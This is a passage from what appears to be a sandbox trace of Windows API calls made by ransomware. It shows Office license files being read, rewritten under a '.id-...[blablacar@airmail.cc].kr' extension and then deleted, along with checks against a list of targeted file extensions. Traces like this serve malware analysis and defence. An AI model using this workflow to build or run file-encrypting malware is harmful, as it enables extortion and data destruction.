Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.394] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20851) returned 1 [0216.394] CloseHandle (hObject=0x474) returned 1 [0216.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ppd.xrm-ms")) returned 0x220 [0216.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.395] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.395] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0216.396] GetLastError () returned 0x0 [0216.396] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5173, lpOverlapped=0x0) returned 1 [0216.401] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5180, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5180, lpOverlapped=0x0) returned 1 [0216.403] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.403] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11c, lpOverlapped=0x0) returned 1 [0216.403] SetEndOfFile (hFile=0x568) returned 1 [0216.403] CloseHandle (hObject=0x568) returned 1 [0216.403] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.403] SetEndOfFile (hFile=0x474) returned 1 [0216.406] CloseHandle (hObject=0x474) returned 1 [0216.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ppd.xrm-ms")) returned 1 [0216.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0216.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0216.408] lstrlenW (lpString=".doc") returned 4 [0216.408] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.408] lstrlenW (lpString=".docx") returned 5 [0216.408] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.408] lstrlenW (lpString=".pdf") returned 4 [0216.408] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.408] lstrlenW (lpString=".xls") returned 4 [0216.408] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.408] lstrlenW (lpString=".xlsx") returned 5 [0216.408] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.408] lstrlenW (lpString=".ppt") returned 4 [0216.408] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0216.408] lstrlenW (lpString=".zip") returned 4 [0216.408] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.408] lstrlenW (lpString=".rar") returned 4 [0216.408] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.408] lstrlenW (lpString=".bz2") returned 4 [0216.408] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.408] lstrlenW (lpString=".7z") returned 3 [0216.408] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0216.408] lstrlenW (lpString=".dbf") returned 4 [0216.408] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0216.408] lstrlenW (lpString=".1cd") returned 4 [0216.408] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0216.408] lstrlenW (lpString=".jpg") returned 4 [0216.408] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0216.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0216.409] lstrlenW (lpString=".doc") returned 4 [0216.409] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.409] lstrlenW (lpString=".docx") returned 5 [0216.409] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.409] lstrlenW (lpString=".pdf") returned 4 [0216.409] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.409] lstrlenW (lpString=".xls") returned 4 [0216.409] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.409] lstrlenW (lpString=".xlsx") returned 5 [0216.409] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.409] lstrlenW (lpString=".ppt") returned 4 [0216.409] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0216.409] lstrlenW (lpString=".zip") returned 4 [0216.409] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.409] lstrlenW (lpString=".rar") returned 4 [0216.409] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.409] lstrlenW (lpString=".bz2") returned 4 [0216.409] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.409] lstrlenW (lpString=".7z") returned 3 [0216.409] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0216.409] lstrlenW (lpString=".dbf") returned 4 [0216.409] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0216.409] lstrlenW (lpString=".1cd") returned 4 [0216.409] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0216.409] lstrlenW (lpString=".jpg") returned 4 [0216.409] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.410] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.410] lstrlenW (lpString="ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 39 [0216.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.410] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11638) returned 1 [0216.410] CloseHandle (hObject=0x474) returned 1 [0216.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ul-oob.xrm-ms")) returned 0x220 [0216.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.411] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.411] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0216.412] GetLastError () returned 0x0 [0216.412] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d76, lpOverlapped=0x0) returned 1 [0216.414] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0216.415] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.415] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x122, lpOverlapped=0x0) returned 1 [0216.415] SetEndOfFile (hFile=0x568) returned 1 [0216.415] CloseHandle (hObject=0x568) returned 1 [0216.415] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.415] SetEndOfFile (hFile=0x474) returned 1 [0216.418] CloseHandle (hObject=0x474) returned 1 [0216.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ul-oob.xrm-ms")) returned 1 [0216.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0216.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0216.419] lstrlenW (lpString=".doc") returned 4 [0216.419] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.419] lstrlenW (lpString=".docx") returned 5 [0216.419] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.420] lstrlenW (lpString=".pdf") returned 4 [0216.420] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.420] lstrlenW (lpString=".xls") returned 4 [0216.420] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.420] lstrlenW (lpString=".xlsx") returned 5 [0216.420] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.420] lstrlenW (lpString=".ppt") returned 4 [0216.420] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0216.420] lstrlenW (lpString=".zip") returned 4 [0216.420] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.420] lstrlenW (lpString=".rar") returned 4 [0216.420] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.420] lstrlenW (lpString=".bz2") returned 4 [0216.420] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.420] lstrlenW (lpString=".7z") returned 3 [0216.420] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0216.420] lstrlenW (lpString=".dbf") returned 4 [0216.420] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0216.420] lstrlenW (lpString=".1cd") returned 4 [0216.420] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0216.420] lstrlenW (lpString=".jpg") returned 4 [0216.420] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0216.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0216.420] lstrlenW (lpString=".doc") returned 4 [0216.420] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.420] lstrlenW (lpString=".docx") returned 5 [0216.420] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.420] lstrlenW (lpString=".pdf") returned 4 [0216.420] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.421] lstrlenW (lpString=".xls") returned 4 [0216.421] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.421] lstrlenW (lpString=".xlsx") returned 5 [0216.421] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.421] lstrlenW (lpString=".ppt") returned 4 [0216.421] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0216.421] lstrlenW (lpString=".zip") returned 4 [0216.421] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.421] lstrlenW (lpString=".rar") returned 4 [0216.421] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.421] lstrlenW (lpString=".bz2") returned 4 [0216.421] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.421] lstrlenW (lpString=".7z") returned 3 [0216.421] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0216.421] lstrlenW (lpString=".dbf") returned 4 [0216.421] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0216.421] lstrlenW (lpString=".1cd") returned 4 [0216.421] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0216.421] lstrlenW (lpString=".jpg") returned 4 [0216.421] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.421] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.421] lstrlenW (lpString="ProjectStdO365R_Subscription-pl.xrm-ms") returned 38 [0216.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.422] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11203) returned 1 [0216.422] CloseHandle (hObject=0x474) returned 1 [0216.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-pl.xrm-ms")) returned 0x220 [0216.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.423] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.423] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0216.424] GetLastError () returned 0x0 [0216.424] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2bc3, lpOverlapped=0x0) returned 1 [0216.719] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0216.739] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.739] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x120, lpOverlapped=0x0) returned 1 [0216.739] SetEndOfFile (hFile=0x568) returned 1 [0216.739] CloseHandle (hObject=0x568) returned 1 [0216.739] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.739] SetEndOfFile (hFile=0x474) returned 1 [0216.742] CloseHandle (hObject=0x474) returned 1 [0216.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-pl.xrm-ms")) returned 1 [0216.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms") returned 88 [0216.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms") returned 88 [0216.743] lstrlenW (lpString=".doc") returned 4 [0216.743] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.744] lstrlenW (lpString=".docx") returned 5 [0216.744] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.744] lstrlenW (lpString=".pdf") returned 4 [0216.744] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.744] lstrlenW (lpString=".xls") returned 4 [0216.744] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.744] lstrlenW (lpString=".xlsx") returned 5 [0216.744] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.744] lstrlenW (lpString=".ppt") returned 4 [0216.744] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms") returned 88 [0216.744] lstrlenW (lpString=".zip") returned 4 [0216.744] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.744] lstrlenW (lpString=".rar") returned 4 [0216.744] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.744] lstrlenW (lpString=".bz2") returned 4 [0216.744] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.744] lstrlenW (lpString=".7z") returned 3 [0216.744] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms") returned 88 [0216.744] lstrlenW (lpString=".dbf") returned 4 [0216.744] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms") returned 88 [0216.744] lstrlenW (lpString=".1cd") returned 4 [0216.744] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms") returned 88 [0216.744] lstrlenW (lpString=".jpg") returned 4 [0216.744] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms") returned 88 [0216.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms") returned 88 [0216.744] lstrlenW (lpString=".doc") returned 4 [0216.744] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.744] lstrlenW (lpString=".docx") returned 5 [0216.745] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.745] lstrlenW (lpString=".pdf") returned 4 [0216.745] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.745] lstrlenW (lpString=".xls") returned 4 [0216.745] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.745] lstrlenW (lpString=".xlsx") returned 5 [0216.745] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.745] lstrlenW (lpString=".ppt") returned 4 [0216.745] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms") returned 88 [0216.745] lstrlenW (lpString=".zip") returned 4 [0216.745] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.745] lstrlenW (lpString=".rar") returned 4 [0216.745] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.745] lstrlenW (lpString=".bz2") returned 4 [0216.745] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.745] lstrlenW (lpString=".7z") returned 3 [0216.745] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms") returned 88 [0216.745] lstrlenW (lpString=".dbf") returned 